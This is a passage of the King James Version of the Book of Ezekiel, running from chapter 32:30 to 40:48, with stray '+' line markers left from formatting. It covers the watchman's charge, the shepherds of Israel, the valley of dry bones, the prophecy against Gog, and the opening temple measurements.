pit. + +32:30 There be the princes of the north, all of them, and all the +Zidonians, which are gone down with the slain; with their terror they +are ashamed of their might; and they lie uncircumcised with them that +be slain by the sword, and bear their shame with them that go down to +the pit. + +32:31 Pharaoh shall see them, and shall be comforted over all his +multitude, even Pharaoh and all his army slain by the sword, saith the +Lord GOD. + +32:32 For I have caused my terror in the land of the living: and he +shall be laid in the midst of the uncircumcised with them that are +slain with the sword, even Pharaoh and all his multitude, saith the +Lord GOD. + +33:1 Again the word of the LORD came unto me, saying, 33:2 Son of man, +speak to the children of thy people, and say unto them, When I bring +the sword upon a land, if the people of the land take a man of their +coasts, and set him for their watchman: 33:3 If when he seeth the +sword come upon the land, he blow the trumpet, and warn the people; +33:4 Then whosoever heareth the sound of the trumpet, and taketh not +warning; if the sword come, and take him away, his blood shall be upon +his own head. + +33:5 He heard the sound of the trumpet, and took not warning; his +blood shall be upon him. But he that taketh warning shall deliver his +soul. + +33:6 But if the watchman see the sword come, and blow not the trumpet, +and the people be not warned; if the sword come, and take any person +from among them, he is taken away in his iniquity; but his blood will +I require at the watchman's hand. + +33:7 So thou, O son of man, I have set thee a watchman unto the house +of Israel; therefore thou shalt hear the word at my mouth, and warn +them from me. + +33:8 When I say unto the wicked, O wicked man, thou shalt surely die; +if thou dost not speak to warn the wicked from his way, that wicked +man shall die in his iniquity; but his blood will I require at thine +hand. + +33:9 Nevertheless, if thou warn the wicked of his way to turn from it; +if he do not turn from his way, he shall die in his iniquity; but thou +hast delivered thy soul. + +33:10 Therefore, O thou son of man, speak unto the house of Israel; +Thus ye speak, saying, If our transgressions and our sins be upon us, +and we pine away in them, how should we then live? 33:11 Say unto +them, As I live, saith the Lord GOD, I have no pleasure in the death +of the wicked; but that the wicked turn from his way and live: turn +ye, turn ye from your evil ways; for why will ye die, O house of +Israel? 33:12 Therefore, thou son of man, say unto the children of +thy people, The righteousness of the righteous shall not deliver him +in the day of his transgression: as for the wickedness of the wicked, +he shall not fall thereby in the day that he turneth from his +wickedness; neither shall the righteous be able to live for his +righteousness in the day that he sinneth. + +33:13 When I shall say to the righteous, that he shall surely live; if +he trust to his own righteousness, and commit iniquity, all his +righteousnesses shall not be remembered; but for his iniquity that he +hath committed, he shall die for it. + +33:14 Again, when I say unto the wicked, Thou shalt surely die; if he +turn from his sin, and do that which is lawful and right; 33:15 If the +wicked restore the pledge, give again that he had robbed, walk in the +statutes of life, without committing iniquity; he shall surely live, +he shall not die. + +33:16 None of his sins that he hath committed shall be mentioned unto +him: he hath done that which is lawful and right; he shall surely +live. + +33:17 Yet the children of thy people say, The way of the Lord is not +equal: but as for them, their way is not equal. + +33:18 When the righteous turneth from his righteousness, and +committeth iniquity, he shall even die thereby. + +33:19 But if the wicked turn from his wickedness, and do that which is +lawful and right, he shall live thereby. + +33:20 Yet ye say, The way of the Lord is not equal. O ye house of +Israel, I will judge you every one after his ways. + +33:21 And it came to pass in the twelfth year of our captivity, in the +tenth month, in the fifth day of the month, that one that had escaped +out of Jerusalem came unto me, saying, The city is smitten. + +33:22 Now the hand of the LORD was upon me in the evening, afore he +that was escaped came; and had opened my mouth, until he came to me in +the morning; and my mouth was opened, and I was no more dumb. + +33:23 Then the word of the LORD came unto me, saying, 33:24 Son of +man, they that inhabit those wastes of the land of Israel speak, +saying, Abraham was one, and he inherited the land: but we are many; +the land is given us for inheritance. + +33:25 Wherefore say unto them, Thus saith the Lord GOD; Ye eat with +the blood, and lift up your eyes toward your idols, and shed blood: +and shall ye possess the land? 33:26 Ye stand upon your sword, ye +work abomination, and ye defile every one his neighbour's wife: and +shall ye possess the land? 33:27 Say thou thus unto them, Thus saith +the Lord GOD; As I live, surely they that are in the wastes shall fall +by the sword, and him that is in the open field will I give to the +beasts to be devoured, and they that be in the forts and in the caves +shall die of the pestilence. + +33:28 For I will lay the land most desolate, and the pomp of her +strength shall cease; and the mountains of Israel shall be desolate, +that none shall pass through. + +33:29 Then shall they know that I am the LORD, when I have laid the +land most desolate because of all their abominations which they have +committed. + +33:30 Also, thou son of man, the children of thy people still are +talking against thee by the walls and in the doors of the houses, and +speak one to another, every one to his brother, saying, Come, I pray +you, and hear what is the word that cometh forth from the LORD. + +33:31 And they come unto thee as the people cometh, and they sit +before thee as my people, and they hear thy words, but they will not +do them: for with their mouth they shew much love, but their heart +goeth after their covetousness. + +33:32 And, lo, thou art unto them as a very lovely song of one that +hath a pleasant voice, and can play well on an instrument: for they +hear thy words, but they do them not. + +33:33 And when this cometh to pass, (lo, it will come,) then shall +they know that a prophet hath been among them. + +34:1 And the word of the LORD came unto me, saying, 34:2 Son of man, +prophesy against the shepherds of Israel, prophesy, and say unto them, +Thus saith the Lord GOD unto the shepherds; Woe be to the shepherds of +Israel that do feed themselves! should not the shepherds feed the +flocks? 34:3 Ye eat the fat, and ye clothe you with the wool, ye kill +them that are fed: but ye feed not the flock. + +34:4 The diseased have ye not strengthened, neither have ye healed +that which was sick, neither have ye bound up that which was broken, +neither have ye brought again that which was driven away, neither have +ye sought that which was lost; but with force and with cruelty have ye +ruled them. + +34:5 And they were scattered, because there is no shepherd: and they +became meat to all the beasts of the field, when they were scattered. + +34:6 My sheep wandered through all the mountains, and upon every high +hill: yea, my flock was scattered upon all the face of the earth, and +none did search or seek after them. + +34:7 Therefore, ye shepherds, hear the word of the LORD; 34:8 As I +live, saith the Lord GOD, surely because my flock became a prey, and +my flock became meat to every beast of the field, because there was no +shepherd, neither did my shepherds search for my flock, but the +shepherds fed themselves, and fed not my flock; 34:9 Therefore, O ye +shepherds, hear the word of the LORD; 34:10 Thus saith the Lord GOD; +Behold, I am against the shepherds; and I will require my flock at +their hand, and cause them to cease from feeding the flock; neither +shall the shepherds feed themselves any more; for I will deliver my +flock from their mouth, that they may not be meat for them. + +34:11 For thus saith the Lord GOD; Behold, I, even I, will both search +my sheep, and seek them out. + +34:12 As a shepherd seeketh out his flock in the day that he is among +his sheep that are scattered; so will I seek out my sheep, and will +deliver them out of all places where they have been scattered in the +cloudy and dark day. + +34:13 And I will bring them out from the people, and gather them from +the countries, and will bring them to their own land, and feed them +upon the mountains of Israel by the rivers, and in all the inhabited +places of the country. + +34:14 I will feed them in a good pasture, and upon the high mountains +of Israel shall their fold be: there shall they lie in a good fold, +and in a fat pasture shall they feed upon the mountains of Israel. + +34:15 I will feed my flock, and I will cause them to lie down, saith +the Lord GOD. + +34:16 I will seek that which was lost, and bring again that which was +driven away, and will bind up that which was broken, and will +strengthen that which was sick: but I will destroy the fat and the +strong; I will feed them with judgment. + +34:17 And as for you, O my flock, thus saith the Lord GOD; Behold, I +judge between cattle and cattle, between the rams and the he goats. + +34:18 Seemeth it a small thing unto you to have eaten up the good +pasture, but ye must tread down with your feet the residue of your +pastures? and to have drunk of the deep waters, but ye must foul the +residue with your feet? 34:19 And as for my flock, they eat that +which ye have trodden with your feet; and they drink that which ye +have fouled with your feet. + +34:20 Therefore thus saith the Lord GOD unto them; Behold, I, even I, +will judge between the fat cattle and between the lean cattle. + +34:21 Because ye have thrust with side and with shoulder, and pushed +all the diseased with your horns, till ye have scattered them abroad; +34:22 Therefore will I save my flock, and they shall no more be a +prey; and I will judge between cattle and cattle. + +34:23 And I will set up one shepherd over them, and he shall feed +them, even my servant David; he shall feed them, and he shall be their +shepherd. + +34:24 And I the LORD will be their God, and my servant David a prince +among them; I the LORD have spoken it. + +34:25 And I will make with them a covenant of peace, and will cause +the evil beasts to cease out of the land: and they shall dwell safely +in the wilderness, and sleep in the woods. + +34:26 And I will make them and the places round about my hill a +blessing; and I will cause the shower to come down in his season; +there shall be showers of blessing. + +34:27 And the tree of the field shall yield her fruit, and the earth +shall yield her increase, and they shall be safe in their land, and +shall know that I am the LORD, when I have broken the bands of their +yoke, and delivered them out of the hand of those that served +themselves of them. + +34:28 And they shall no more be a prey to the heathen, neither shall +the beast of the land devour them; but they shall dwell safely, and +none shall make them afraid. + +34:29 And I will raise up for them a plant of renown, and they shall +be no more consumed with hunger in the land, neither bear the shame of +the heathen any more. + +34:30 Thus shall they know that I the LORD their God am with them, and +that they, even the house of Israel, are my people, saith the Lord +GOD. + +34:31 And ye my flock, the flock of my pasture, are men, and I am your +God, saith the Lord GOD. + +35:1 Moreover the word of the LORD came unto me, saying, 35:2 Son of +man, set thy face against mount Seir, and prophesy against it, 35:3 +And say unto it, Thus saith the Lord GOD; Behold, O mount Seir, I am +against thee, and I will stretch out mine hand against thee, and I +will make thee most desolate. + +35:4 I will lay thy cities waste, and thou shalt be desolate, and thou +shalt know that I am the LORD. + +35:5 Because thou hast had a perpetual hatred, and hast shed the blood +of the children of Israel by the force of the sword in the time of +their calamity, in the time that their iniquity had an end: 35:6 +Therefore, as I live, saith the Lord GOD, I will prepare thee unto +blood, and blood shall pursue thee: sith thou hast not hated blood, +even blood shall pursue thee. + +35:7 Thus will I make mount Seir most desolate, and cut off from it +him that passeth out and him that returneth. + +35:8 And I will fill his mountains with his slain men: in thy hills, +and in thy valleys, and in all thy rivers, shall they fall that are +slain with the sword. + +35:9 I will make thee perpetual desolations, and thy cities shall not +return: and ye shall know that I am the LORD. + +35:10 Because thou hast said, These two nations and these two +countries shall be mine, and we will possess it; whereas the LORD was +there: 35:11 Therefore, as I live, saith the Lord GOD, I will even do +according to thine anger, and according to thine envy which thou hast +used out of thy hatred against them; and I will make myself known +among them, when I have judged thee. + +35:12 And thou shalt know that I am the LORD, and that I have heard +all thy blasphemies which thou hast spoken against the mountains of +Israel, saying, They are laid desolate, they are given us to consume. + +35:13 Thus with your mouth ye have boasted against me, and have +multiplied your words against me: I have heard them. + +35:14 Thus saith the Lord GOD; When the whole earth rejoiceth, I will +make thee desolate. + +35:15 As thou didst rejoice at the inheritance of the house of Israel, +because it was desolate, so will I do unto thee: thou shalt be +desolate, O mount Seir, and all Idumea, even all of it: and they shall +know that I am the LORD. + +36:1 Also, thou son of man, prophesy unto the mountains of Israel, and +say, Ye mountains of Israel, hear the word of the LORD: 36:2 Thus +saith the Lord GOD; Because the enemy hath said against you, Aha, even +the ancient high places are ours in possession: 36:3 Therefore +prophesy and say, Thus saith the Lord GOD; Because they have made you +desolate, and swallowed you up on every side, that ye might be a +possession unto the residue of the heathen, and ye are taken up in the +lips of talkers, and are an infamy of the people: 36:4 Therefore, ye +mountains of Israel, hear the word of the Lord GOD; Thus saith the +Lord GOD to the mountains, and to the hills, to the rivers, and to the +valleys, to the desolate wastes, and to the cities that are forsaken, +which became a prey and derision to the residue of the heathen that +are round about; 36:5 Therefore thus saith the Lord GOD; Surely in the +fire of my jealousy have I spoken against the residue of the heathen, +and against all Idumea, which have appointed my land into their +possession with the joy of all their heart, with despiteful minds, to +cast it out for a prey. + +36:6 Prophesy therefore concerning the land of Israel, and say unto +the mountains, and to the hills, to the rivers, and to the valleys, +Thus saith the Lord GOD; Behold, I have spoken in my jealousy and in +my fury, because ye have borne the shame of the heathen: 36:7 +Therefore thus saith the Lord GOD; I have lifted up mine hand, Surely +the heathen that are about you, they shall bear their shame. + +36:8 But ye, O mountains of Israel, ye shall shoot forth your +branches, and yield your fruit to my people of Israel; for they are at +hand to come. + +36:9 For, behold, I am for you, and I will turn unto you, and ye shall +be tilled and sown: 36:10 And I will multiply men upon you, all the +house of Israel, even all of it: and the cities shall be inhabited, +and the wastes shall be builded: 36:11 And I will multiply upon you +man and beast; and they shall increase and bring fruit: and I will +settle you after your old estates, and will do better unto you than at +your beginnings: and ye shall know that I am the LORD. + +36:12 Yea, I will cause men to walk upon you, even my people Israel; +and they shall possess thee, and thou shalt be their inheritance, and +thou shalt no more henceforth bereave them of men. + +36:13 Thus saith the Lord GOD; Because they say unto you, Thou land +devourest up men, and hast bereaved thy nations: 36:14 Therefore thou +shalt devour men no more, neither bereave thy nations any more, saith +the Lord GOD. + +36:15 Neither will I cause men to hear in thee the shame of the +heathen any more, neither shalt thou bear the reproach of the people +any more, neither shalt thou cause thy nations to fall any more, saith +the Lord GOD. + +36:16 Moreover the word of the LORD came unto me, saying, 36:17 Son of +man, when the house of Israel dwelt in their own land, they defiled it +by their own way and by their doings: their way was before me as the +uncleanness of a removed woman. + +36:18 Wherefore I poured my fury upon them for the blood that they had +shed upon the land, and for their idols wherewith they had polluted +it: 36:19 And I scattered them among the heathen, and they were +dispersed through the countries: according to their way and according +to their doings I judged them. + +36:20 And when they entered unto the heathen, whither they went, they +profaned my holy name, when they said to them, These are the people of +the LORD, and are gone forth out of his land. + +36:21 But I had pity for mine holy name, which the house of Israel had +profaned among the heathen, whither they went. + +36:22 Therefore say unto the house of Israel, thus saith the Lord GOD; +I do not this for your sakes, O house of Israel, but for mine holy +name's sake, which ye have profaned among the heathen, whither ye +went. + +36:23 And I will sanctify my great name, which was profaned among the +heathen, which ye have profaned in the midst of them; and the heathen +shall know that I am the LORD, saith the Lord GOD, when I shall be +sanctified in you before their eyes. + +36:24 For I will take you from among the heathen, and gather you out +of all countries, and will bring you into your own land. + +36:25 Then will I sprinkle clean water upon you, and ye shall be +clean: from all your filthiness, and from all your idols, will I +cleanse you. + +36:26 A new heart also will I give you, and a new spirit will I put +within you: and I will take away the stony heart out of your flesh, +and I will give you an heart of flesh. + +36:27 And I will put my spirit within you, and cause you to walk in my +statutes, and ye shall keep my judgments, and do them. + +36:28 And ye shall dwell in the land that I gave to your fathers; and +ye shall be my people, and I will be your God. + +36:29 I will also save you from all your uncleannesses: and I will +call for the corn, and will increase it, and lay no famine upon you. + +36:30 And I will multiply the fruit of the tree, and the increase of +the field, that ye shall receive no more reproach of famine among the +heathen. + +36:31 Then shall ye remember your own evil ways, and your doings that +were not good, and shall lothe yourselves in your own sight for your +iniquities and for your abominations. + +36:32 Not for your sakes do I this, saith the Lord GOD, be it known +unto you: be ashamed and confounded for your own ways, O house of +Israel. + +36:33 Thus saith the Lord GOD; In the day that I shall have cleansed +you from all your iniquities I will also cause you to dwell in the +cities, and the wastes shall be builded. + +36:34 And the desolate land shall be tilled, whereas it lay desolate +in the sight of all that passed by. + +36:35 And they shall say, This land that was desolate is become like +the garden of Eden; and the waste and desolate and ruined cities are +become fenced, and are inhabited. + +36:36 Then the heathen that are left round about you shall know that I +the LORD build the ruined places, and plant that that was desolate: I +the LORD have spoken it, and I will do it. + +36:37 Thus saith the Lord GOD; I will yet for this be enquired of by +the house of Israel, to do it for them; I will increase them with men +like a flock. + +36:38 As the holy flock, as the flock of Jerusalem in her solemn +feasts; so shall the waste cities be filled with flocks of men: and +they shall know that I am the LORD. + +37:1 The hand of the LORD was upon me, and carried me out in the +spirit of the LORD, and set me down in the midst of the valley which +was full of bones, 37:2 And caused me to pass by them round about: +and, behold, there were very many in the open valley; and, lo, they +were very dry. + +37:3 And he said unto me, Son of man, can these bones live? And I +answered, O Lord GOD, thou knowest. + +37:4 Again he said unto me, Prophesy upon these bones, and say unto +them, O ye dry bones, hear the word of the LORD. + +37:5 Thus saith the Lord GOD unto these bones; Behold, I will cause +breath to enter into you, and ye shall live: 37:6 And I will lay +sinews upon you, and will bring up flesh upon you, and cover you with +skin, and put breath in you, and ye shall live; and ye shall know that +I am the LORD. + +37:7 So I prophesied as I was commanded: and as I prophesied, there +was a noise, and behold a shaking, and the bones came together, bone +to his bone. + +37:8 And when I beheld, lo, the sinews and the flesh came up upon +them, and the skin covered them above: but there was no breath in +them. + +37:9 Then said he unto me, Prophesy unto the wind, prophesy, son of +man, and say to the wind, Thus saith the Lord GOD; Come from the four +winds, O breath, and breathe upon these slain, that they may live. + +37:10 So I prophesied as he commanded me, and the breath came into +them, and they lived, and stood up upon their feet, an exceeding great +army. + +37:11 Then he said unto me, Son of man, these bones are the whole +house of Israel: behold, they say, Our bones are dried, and our hope +is lost: we are cut off for our parts. + +37:12 Therefore prophesy and say unto them, Thus saith the Lord GOD; +Behold, O my people, I will open your graves, and cause you to come up +out of your graves, and bring you into the land of Israel. + +37:13 And ye shall know that I am the LORD, when I have opened your +graves, O my people, and brought you up out of your graves, 37:14 And +shall put my spirit in you, and ye shall live, and I shall place you +in your own land: then shall ye know that I the LORD have spoken it, +and performed it, saith the LORD. + +37:15 The word of the LORD came again unto me, saying, 37:16 Moreover, +thou son of man, take thee one stick, and write upon it, For Judah, +and for the children of Israel his companions: then take another +stick, and write upon it, For Joseph, the stick of Ephraim and for all +the house of Israel his companions: 37:17 And join them one to another +into one stick; and they shall become one in thine hand. + +37:18 And when the children of thy people shall speak unto thee, +saying, Wilt thou not shew us what thou meanest by these? 37:19 Say +unto them, Thus saith the Lord GOD; Behold, I will take the stick of +Joseph, which is in the hand of Ephraim, and the tribes of Israel his +fellows, and will put them with him, even with the stick of Judah, and +make them one stick, and they shall be one in mine hand. + +37:20 And the sticks whereon thou writest shall be in thine hand +before their eyes. + +37:21 And say unto them, Thus saith the Lord GOD; Behold, I will take +the children of Israel from among the heathen, whither they be gone, +and will gather them on every side, and bring them into their own +land: 37:22 And I will make them one nation in the land upon the +mountains of Israel; and one king shall be king to them all: and they +shall be no more two nations, neither shall they be divided into two +kingdoms any more at all. + +37:23 Neither shall they defile themselves any more with their idols, +nor with their detestable things, nor with any of their +transgressions: but I will save them out of all their dwellingplaces, +wherein they have sinned, and will cleanse them: so shall they be my +people, and I will be their God. + +37:24 And David my servant shall be king over them; and they all shall +have one shepherd: they shall also walk in my judgments, and observe +my statutes, and do them. + +37:25 And they shall dwell in the land that I have given unto Jacob my +servant, wherein your fathers have dwelt; and they shall dwell +therein, even they, and their children, and their children's children +for ever: and my servant David shall be their prince for ever. + +37:26 Moreover I will make a covenant of peace with them; it shall be +an everlasting covenant with them: and I will place them, and multiply +them, and will set my sanctuary in the midst of them for evermore. + +37:27 My tabernacle also shall be with them: yea, I will be their God, +and they shall be my people. + +37:28 And the heathen shall know that I the LORD do sanctify Israel, +when my sanctuary shall be in the midst of them for evermore. + +38:1 And the word of the LORD came unto me, saying, 38:2 Son of man, +set thy face against Gog, the land of Magog, the chief prince of +Meshech and Tubal, and prophesy against him, 38:3 And say, Thus saith +the Lord GOD; Behold, I am against thee, O Gog, the chief prince of +Meshech and Tubal: 38:4 And I will turn thee back, and put hooks into +thy jaws, and I will bring thee forth, and all thine army, horses and +horsemen, all of them clothed with all sorts of armour, even a great +company with bucklers and shields, all of them handling swords: 38:5 +Persia, Ethiopia, and Libya with them; all of them with shield and +helmet: 38:6 Gomer, and all his bands; the house of Togarmah of the +north quarters, and all his bands: and many people with thee. + +38:7 Be thou prepared, and prepare for thyself, thou, and all thy +company that are assembled unto thee, and be thou a guard unto them. + +38:8 After many days thou shalt be visited: in the latter years thou +shalt come into the land that is brought back from the sword, and is +gathered out of many people, against the mountains of Israel, which +have been always waste: but it is brought forth out of the nations, +and they shall dwell safely all of them. + +38:9 Thou shalt ascend and come like a storm, thou shalt be like a +cloud to cover the land, thou, and all thy bands, and many people with +thee. + +38:10 Thus saith the Lord GOD; It shall also come to pass, that at the +same time shall things come into thy mind, and thou shalt think an +evil thought: 38:11 And thou shalt say, I will go up to the land of +unwalled villages; I will go to them that are at rest, that dwell +safely, all of them dwelling without walls, and having neither bars +nor gates, 38:12 To take a spoil, and to take a prey; to turn thine +hand upon the desolate places that are now inhabited, and upon the +people that are gathered out of the nations, which have gotten cattle +and goods, that dwell in the midst of the land. + +38:13 Sheba, and Dedan, and the merchants of Tarshish, with all the +young lions thereof, shall say unto thee, Art thou come to take a +spoil? hast thou gathered thy company to take a prey? to carry away +silver and gold, to take away cattle and goods, to take a great spoil? +38:14 Therefore, son of man, prophesy and say unto Gog, Thus saith the +Lord GOD; In that day when my people of Israel dwelleth safely, shalt +thou not know it? 38:15 And thou shalt come from thy place out of the +north parts, thou, and many people with thee, all of them riding upon +horses, a great company, and a mighty army: 38:16 And thou shalt come +up against my people of Israel, as a cloud to cover the land; it shall +be in the latter days, and I will bring thee against my land, that the +heathen may know me, when I shall be sanctified in thee, O Gog, before +their eyes. + +38:17 Thus saith the Lord GOD; Art thou he of whom I have spoken in +old time by my servants the prophets of Israel, which prophesied in +those days many years that I would bring thee against them? 38:18 And +it shall come to pass at the same time when Gog shall come against the +land of Israel, saith the Lord GOD, that my fury shall come up in my +face. + +38:19 For in my jealousy and in the fire of my wrath have I spoken, +Surely in that day there shall be a great shaking in the land of +Israel; 38:20 So that the fishes of the sea, and the fowls of the +heaven, and the beasts of the field, and all creeping things that +creep upon the earth, and all the men that are upon the face of the +earth, shall shake at my presence, and the mountains shall be thrown +down, and the steep places shall fall, and every wall shall fall to +the ground. + +38:21 And I will call for a sword against him throughout all my +mountains, saith the Lord GOD: every man's sword shall be against his +brother. + +38:22 And I will plead against him with pestilence and with blood; and +I will rain upon him, and upon his bands, and upon the many people +that are with him, an overflowing rain, and great hailstones, fire, +and brimstone. + +38:23 Thus will I magnify myself, and sanctify myself; and I will be +known in the eyes of many nations, and they shall know that I am the +LORD. + +39:1 Therefore, thou son of man, prophesy against Gog, and say, Thus +saith the Lord GOD; Behold, I am against thee, O Gog, the chief prince +of Meshech and Tubal: 39:2 And I will turn thee back, and leave but +the sixth part of thee, and will cause thee to come up from the north +parts, and will bring thee upon the mountains of Israel: 39:3 And I +will smite thy bow out of thy left hand, and will cause thine arrows +to fall out of thy right hand. + +39:4 Thou shalt fall upon the mountains of Israel, thou, and all thy +bands, and the people that is with thee: I will give thee unto the +ravenous birds of every sort, and to the beasts of the field to be +devoured. + +39:5 Thou shalt fall upon the open field: for I have spoken it, saith +the Lord GOD. + +39:6 And I will send a fire on Magog, and among them that dwell +carelessly in the isles: and they shall know that I am the LORD. + +39:7 So will I make my holy name known in the midst of my people +Israel; and I will not let them pollute my holy name any more: and the +heathen shall know that I am the LORD, the Holy One in Israel. + +39:8 Behold, it is come, and it is done, saith the Lord GOD; this is +the day whereof I have spoken. + +39:9 And they that dwell in the cities of Israel shall go forth, and +shall set on fire and burn the weapons, both the shields and the +bucklers, the bows and the arrows, and the handstaves, and the spears, +and they shall burn them with fire seven years: 39:10 So that they +shall take no wood out of the field, neither cut down any out of the +forests; for they shall burn the weapons with fire: and they shall +spoil those that spoiled them, and rob those that robbed them, saith +the Lord GOD. + +39:11 And it shall come to pass in that day, that I will give unto Gog +a place there of graves in Israel, the valley of the passengers on the +east of the sea: and it shall stop the noses of the passengers: and +there shall they bury Gog and all his multitude: and they shall call +it The valley of Hamongog. + +39:12 And seven months shall the house of Israel be burying of them, +that they may cleanse the land. + +39:13 Yea, all the people of the land shall bury them; and it shall be +to them a renown the day that I shall be glorified, saith the Lord +GOD. + +39:14 And they shall sever out men of continual employment, passing +through the land to bury with the passengers those that remain upon +the face of the earth, to cleanse it: after the end of seven months +shall they search. + +39:15 And the passengers that pass through the land, when any seeth a +man's bone, then shall he set up a sign by it, till the buriers have +buried it in the valley of Hamongog. + +39:16 And also the name of the city shall be Hamonah. Thus shall they +cleanse the land. + +39:17 And, thou son of man, thus saith the Lord GOD; Speak unto every +feathered fowl, and to every beast of the field, Assemble yourselves, +and come; gather yourselves on every side to my sacrifice that I do +sacrifice for you, even a great sacrifice upon the mountains of +Israel, that ye may eat flesh, and drink blood. + +39:18 Ye shall eat the flesh of the mighty, and drink the blood of the +princes of the earth, of rams, of lambs, and of goats, of bullocks, +all of them fatlings of Bashan. + +39:19 And ye shall eat fat till ye be full, and drink blood till ye be +drunken, of my sacrifice which I have sacrificed for you. + +39:20 Thus ye shall be filled at my table with horses and chariots, +with mighty men, and with all men of war, saith the Lord GOD. + +39:21 And I will set my glory among the heathen, and all the heathen +shall see my judgment that I have executed, and my hand that I have +laid upon them. + +39:22 So the house of Israel shall know that I am the LORD their God +from that day and forward. + +39:23 And the heathen shall know that the house of Israel went into +captivity for their iniquity: because they trespassed against me, +therefore hid I my face from them, and gave them into the hand of +their enemies: so fell they all by the sword. + +39:24 According to their uncleanness and according to their +transgressions have I done unto them, and hid my face from them. + +39:25 Therefore thus saith the Lord GOD; Now will I bring again the +captivity of Jacob, and have mercy upon the whole house of Israel, and +will be jealous for my holy name; 39:26 After that they have borne +their shame, and all their trespasses whereby they have trespassed +against me, when they dwelt safely in their land, and none made them +afraid. + +39:27 When I have brought them again from the people, and gathered +them out of their enemies' lands, and am sanctified in them in the +sight of many nations; 39:28 Then shall they know that I am the LORD +their God, which caused them to be led into captivity among the +heathen: but I have gathered them unto their own land, and have left +none of them any more there. + +39:29 Neither will I hide my face any more from them: for I have +poured out my spirit upon the house of Israel, saith the Lord GOD. + +40:1 In the five and twentieth year of our captivity, in the beginning +of the year, in the tenth day of the month, in the fourteenth year +after that the city was smitten, in the selfsame day the hand of the +LORD was upon me, and brought me thither. + +40:2 In the visions of God brought he me into the land of Israel, and +set me upon a very high mountain, by which was as the frame of a city +on the south. + +40:3 And he brought me thither, and, behold, there was a man, whose +appearance was like the appearance of brass, with a line of flax in +his hand, and a measuring reed; and he stood in the gate. + +40:4 And the man said unto me, Son of man, behold with thine eyes, and +hear with thine ears, and set thine heart upon all that I shall shew +thee; for to the intent that I might shew them unto thee art thou +brought hither: declare all that thou seest to the house of Israel. + +40:5 And behold a wall on the outside of the house round about, and in +the man's hand a measuring reed of six cubits long by the cubit and an +hand breadth: so he measured the breadth of the building, one reed; +and the height, one reed. + +40:6 Then came he unto the gate which looketh toward the east, and +went up the stairs thereof, and measured the threshold of the gate, +which was one reed broad; and the other threshold of the gate, which +was one reed broad. + +40:7 And every little chamber was one reed long, and one reed broad; +and between the little chambers were five cubits; and the threshold of +the gate by the porch of the gate within was one reed. + +40:8 He measured also the porch of the gate within, one reed. + +40:9 Then measured he the porch of the gate, eight cubits; and the +posts thereof, two cubits; and the porch of the gate was inward. + +40:10 And the little chambers of the gate eastward were three on this +side, and three on that side; they three were of one measure: and the +posts had one measure on this side and on that side. + +40:11 And he measured the breadth of the entry of the gate, ten +cubits; and the length of the gate, thirteen cubits. + +40:12 The space also before the little chambers was one cubit on this +side, and the space was one cubit on that side: and the little +chambers were six cubits on this side, and six cubits on that side. + +40:13 He measured then the gate from the roof of one little chamber to +the roof of another: the breadth was five and twenty cubits, door +against door. + +40:14 He made also posts of threescore cubits, even unto the post of +the court round about the gate. + +40:15 And from the face of the gate of the entrance unto the face of +the porch of the inner gate were fifty cubits. + +40:16 And there were narrow windows to the little chambers, and to +their posts within the gate round about, and likewise to the arches: +and windows were round about inward: and upon each post were palm +trees. + +40:17 Then brought he me into the outward court, and, lo, there were +chambers, and a pavement made for the court round about: thirty +chambers were upon the pavement. + +40:18 And the pavement by the side of the gates over against the +length of the gates was the lower pavement. + +40:19 Then he measured the breadth from the forefront of the lower +gate unto the forefront of the inner court without, an hundred cubits +eastward and northward. + +40:20 And the gate of the outward court that looked toward the north, +he measured the length thereof, and the breadth thereof. + +40:21 And the little chambers thereof were three on this side and +three on that side; and the posts thereof and the arches thereof were +after the measure of the first gate: the length thereof was fifty +cubits, and the breadth five and twenty cubits. + +40:22 And their windows, and their arches, and their palm trees, were +after the measure of the gate that looketh toward the east; and they +went up unto it by seven steps; and the arches thereof were before +them. + +40:23 And the gate of the inner court was over against the gate toward +the north, and toward the east; and he measured from gate to gate an +hundred cubits. + +40:24 After that he brought me toward the south, and behold a gate +toward the south: and he measured the posts thereof and the arches +thereof according to these measures. + +40:25 And there were windows in it and in the arches thereof round +about, like those windows: the length was fifty cubits, and the +breadth five and twenty cubits. + +40:26 And there were seven steps to go up to it, and the arches +thereof were before them: and it had palm trees, one on this side, and +another on that side, upon the posts thereof. + +40:27 And there was a gate in the inner court toward the south: and he +measured from gate to gate toward the south an hundred cubits. + +40:28 And he brought me to the inner court by the south gate: and he +measured the south gate according to these measures; 40:29 And the +little chambers thereof, and the posts thereof, and the arches +thereof, according to these measures: and there were windows in it and +in the arches thereof round about: it was fifty cubits long, and five +and twenty cubits broad. + +40:30 And the arches round about were five and twenty cubits long, and +five cubits broad. + +40:31 And the arches thereof were toward the utter court; and palm +trees were upon the posts thereof: and the going up to it had eight +steps. + +40:32 And he brought me into the inner court toward the east: and he +measured the gate according to these measures. + +40:33 And the little chambers thereof, and the posts thereof, and the +arches thereof, were according to these measures: and there were +windows therein and in the arches thereof round about: it was fifty +cubits long, and five and twenty cubits broad. + +40:34 And the arches thereof were toward the outward court; and palm +trees were upon the posts thereof, on this side, and on that side: and +the going up to it had eight steps. + +40:35 And he brought me to the north gate, and measured it according +to these measures; 40:36 The little chambers thereof, the posts +thereof, and the arches thereof, and the windows to it round about: +the length was fifty cubits, and the breadth five and twenty cubits. + +40:37 And the posts thereof were toward the utter court; and palm +trees were upon the posts thereof, on this side, and on that side: and +the going up to it had eight steps. + +40:38 And the chambers and the entries thereof were by the posts of +the gates, where they washed the burnt offering. + +40:39 And in the porch of the gate were two tables on this side, and +two tables on that side, to slay thereon the burnt offering and the +sin offering and the trespass offering. + +40:40 And at the side without, as one goeth up to the entry of the +north gate, were two tables; and on the other side, which was at the +porch of the gate, were two tables. + +40:41 Four tables were on this side, and four tables on that side, by +the side of the gate; eight tables, whereupon they slew their +sacrifices. + +40:42 And the four tables were of hewn stone for the burnt offering, +of a cubit and an half long, and a cubit and an half broad, and one +cubit high: whereupon also they laid the instruments wherewith they +slew the burnt offering and the sacrifice. + +40:43 And within were hooks, an hand broad, fastened round about: and +upon the tables was the flesh of the offering. + +40:44 And without the inner gate were the chambers of the singers in +the inner court, which was at the side of the north gate; and their +prospect was toward the south: one at the side of the east gate having +the prospect toward the north. + +40:45 And he said unto me, This chamber, whose prospect is toward the +south, is for the priests, the keepers of the charge of the house. + +40:46 And the chamber whose prospect is toward the north is for the +priests, the keepers of the charge of the altar: these are the sons of +Zadok among the sons of Levi, which come near to the LORD to minister +unto him. + +40:47 So he measured the court, an hundred cubits long, and an hundred +cubits broad, foursquare; and the altar that was before the house. + +40:48 And he brought me to the porch of the house, and measured each +post of the porch, five cubits on this side, and five 